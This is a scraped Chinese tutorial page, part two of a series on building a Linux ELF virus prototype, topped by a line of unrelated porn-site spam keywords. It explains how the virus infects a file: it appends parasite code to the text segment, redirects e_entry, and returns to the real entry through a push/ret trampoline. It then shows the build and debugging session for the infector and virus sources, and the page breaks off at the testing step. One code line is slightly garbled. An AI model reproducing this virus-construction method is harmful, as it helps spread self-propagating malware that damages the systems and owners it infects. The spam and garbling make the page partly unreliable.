日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

剖析Linux病毒原型工作過程和關(guān)鍵環(huán)節(jié)( 二 )


7 病毒代碼執(zhí)行過后,會恢復(fù)堆棧和所有寄存器(這很重要),然后跳回到真正的可執(zhí)行文件入口,開始正常的運(yùn)行過程 。
上面對病毒原型的工作過程的介紹也許顯得千篇一律了,和我們早就熟知的關(guān)于病毒的一些介紹沒有什么區(qū)別?是的,的確是這樣,原理都是類似的,關(guān)鍵是要看實(shí)現(xiàn) 。下面我們就將通過對一些技術(shù)問題的分析來了解具體的實(shí)現(xiàn)思路 。
四、關(guān)鍵技術(shù)問題及處理
1 ELF文件執(zhí)行流程重定向和代碼插入
在ELF文件感染的問題上,ELF Infector與病毒傳播時調(diào)用的infect_virus思路是一樣的:
* 定位到文本段,將病毒的代碼接到文本段的尾部 。這個過程的關(guān)鍵是要熟悉ELF文件的格式,將病毒代碼復(fù)制到文本段尾部后,能夠根據(jù)需要調(diào)整文本段長度改變所影響到的后續(xù)段(segment)或節(jié)(section)的虛擬地址 。同時注意把新引入的文本段部分與一個.setion建立關(guān)聯(lián),防止strip這樣的工具將插入的代碼去除 。還有一點(diǎn)就是要注意文本段增加長度的對齊問題,見ELF文檔中的描述:
p_align
As ``Program Loading"" later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.
* 通過過將ELF文件頭中的入口地址修改為病毒代碼地址來完成代碼重定向:
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddrphdr[txt_index].p_filesz;
2 病毒代碼如何返回到真正的ELF文件入口
方法技巧應(yīng)該很多,這里采用的方法是PUSH RET組合:
__asm__ volatile (
...
"return:nt"
"push $0xAABBCCDDnt" /* push ret_addr */
"retn"
::);
其中0xAABBCCDD處存放的是真正的程序入口地址,這個值在插入病毒代碼時由感染程序來填寫 。
五、 新編譯環(huán)境下的調(diào)試方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
調(diào)整Makefile文件,將編譯模式改為調(diào)試模式,即關(guān)掉-DNDEBUG選項(xiàng)
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
編譯代碼
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先獲取病毒代碼長度,然后調(diào)整gvirus.c中的#define PARACODE_LENGTH定義
grip2@linux:~/tmp/virus>. /gei -l <.這里獲取病毒代碼的長度
Parasite code length: 1744
獲取病毒代碼開始位置和0xaabbccdd的地址,計算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :
0x8049427與0x8048d80相減即獲得我們需要的偏移,
用這個值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新編譯
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
建立一個測試目錄,測試一下
grip2@linux:~/tmp/virus> mkdir test

推薦閱讀